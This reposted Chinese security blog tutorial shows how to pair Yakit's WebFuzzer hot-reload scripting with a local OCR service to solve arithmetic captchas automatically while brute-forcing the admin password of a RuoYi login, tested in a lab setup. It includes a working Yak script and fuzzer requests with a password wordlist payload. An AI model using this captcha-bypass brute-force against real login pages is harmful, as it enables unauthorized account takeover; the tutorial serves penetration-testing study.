文章总结: 本文介绍了利用Yakit结合本地OCR服务实现WebFuzzer验证码自动识别的方法,用于辅助渗透测试中的密码爆破。文章以若依系统为例,演示了编写热加载脚本提取Base64验证码并识别的流程。实测发现该机制可行,但现有工具对算术验证码识别率较低,建议更换更精准的OCR模型以提高效率。 综合评分: 84 文章分类: 渗透测试,安全工具,WEB安全
yakit 验证码识别 进行webfuzzer
原创
进击的hack
进击的HACK
2025年3月30日 07:50 江苏
前言
在渗透测试的过程中,我们可能需要对管理员密码进行枚举,或者密码喷洒的时候,遇到验证码就很烦。有没有自动化识别验证码的办法呢?
有的,兄弟,有的。
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
验证码识别插件
- 验证码 OCR 识别
插件介绍
// Burpsuite 的 captcha-killer-modified 插件平行替,供 Yakit 热加载使用。直接复制代码到热加载,并将Webfuzzer请求包中验证码的值替换为 __captcha__。
该插件是一个热加载的模版,后续会介绍如何使用。
本地验证码识别
常见的工具:captcha-killer-modified 项目地址:https://github.com/f0ng/captcha-killer-modified
下载 codereg.py
python codereg.py
app.add_routes([
web.post('/reg2', handle_cb), # 识别算数验证码
web.post('/reg', handle_cb2), # 识别常规验证码
web.post('/reg00', handle_cb00), # 识别纯整数0-9
web.post('/reg01', handle_cb01), # 识别纯小写英文a-z
web.post('/reg02', handle_cb02), # 识别纯大写英文A-Z
web.post('/reg03', handle_cb03), # 识别小写英文a-z + 大写英文A-Z
web.post('/reg04', handle_cb04), # 识别小写英文a-z + 整数0-9
web.post('/reg05', handle_cb05), # 识别大写英文A-Z + 整数0-9
web.post('/reg06', handle_cb06), # 识别小写英文a-z + 大写英文A-Z + 整数0-9
web.post('/reg000', handle_cb000), # 识别自定义
])
可以看到,该python脚本有这些API可以使用。
今天尝试的是识别算数验证码
http://127.0.0.1:8888/reg2
构造请求包
POST /reg2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
Upgrade-Insecure-Requests: 1
Sec-Fetch-Mode: navigate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
Sec-Fetch-Site: none
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
base64(img)
codereg验证的请求包
得知了流程,我们就可以自己写插件,进行验证码识别
若依验证码请求流程
为了不给官方造成困扰,我在本地搭建了一个若依前后端分离的环境
先请求验证码,后端返回uuid+对应的验证码图片
插件使用
yakit 该插件,每次使用前,需要自己编辑
修改成适配当前系统的验证码识别插件
packet1 内容替换为
GET /dev-api/captchaImage HTTP/1.1
Host: 192.168.23.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
isToken: false
Referer: http://192.168.23.1/login?redirect=/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
packet2 reg 修改为 reg2
// OCR接口:获取 OCR 服务获取识别后的验证码
packet2 =`
POST /reg2 HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth
`
接着,我们需要修改请求中的这一步
因为后端不是直接返回的二进制图片,而是存放在json中的已经base64编码后的二进制图片。
yak 语法
fn json.loads(content: string|[]byte) any: 把一个字符串解析成一个 Yak/Golang 对象
修改为
// beforeRequest 允许发送数据包前再做一次处理,定义为 func(origin []byte) []bytebeforeRequest = func(req) { // 1. 获取当前请求包 Cookie Cookie = poc.GetHTTPPacketHeader(req /*type: []byte*/, 'Cookie' /*type: string*/) // 2. 带着当前请求包 Cookie 访问验证码接口,获取验证码图片二进制数据 rsp1, req1 = poc.HTTP(packet1, poc.replaceHeader('Cookie', Cookie))~ RawImage = poc.GetHTTPPacketBody(rsp1 /*type: []byte*/) respJson = json.loads(RawImage) image = respJson["img"] uuid1 = respJson["uuid"] // 3. 将验证图片发给 OCR 识别 rsp2, req2 = poc.HTTP(packet2, poc.replaceBody(image /*type: []byte*/, false /*type: bool*/))~ captcha = poc.GetHTTPPacketBody(rsp2 /*type: []byte*/) // 5. 请求包携带返回的验证码发送请求 req = str.ReplaceAll(string(req) /*type: string*/, "__captcha__" /*type: string*/, string(captcha) /*type: string*/) req = str.ReplaceAll(string(req) /*type: string*/, "__uuid__" /*type: string*/, string(uuid1) /*type: string*/) return []byte(req)}
打开webfuzzer,将代码复制到热加载中
FUZZ
热加载
保存
修改webfuzzer 请求包
POST /dev-api/login HTTP/1.1Host: 192.168.23.1isToken: falseUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36Content-Type: application/json;charset=UTF-8repeatSubmit: falseAccept: application/json, text/plain, */*Referer: http://192.168.23.1/login?redirect=/indexOrigin: http://192.168.23.1Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Content-Length: 96{"username":"admin","password":"{{payload(pass_top25)}}","code":"__captcha__","uuid":"__uuid__"}
并发线程 修改为1
发送请求
单纯发送数据包,可以看到识别成功
总结
验证码的识别率很低,captcha-killer-modified对算术验证码识别正确率非常低,还会识别成乱七八糟的结果,这就非常麻烦。因为你不知道到底是验证码不对,还是密码不对。
如果师傅们找到准确度更高的工具,完全可以替换上去。
往期推荐
yakit 安装和初次使用
数据库自动取样工具DataMiner
burpsuite指纹识别插件合集
如何最大限度的利用poc发现漏洞
Slack 安全服务集成化工具平台
unidbg补环境实战
unidbg改造,提供api接口
CS上线隐蔽Shellcode嵌入与反检测加载器生成框架
frida | 获取 so JNI函数绑定的地址
IDA调试so小技巧 | IDA 无法找到指定so
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:进击的HACK 进击的hack《yakit 验证码识别 进行webfuzzer》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论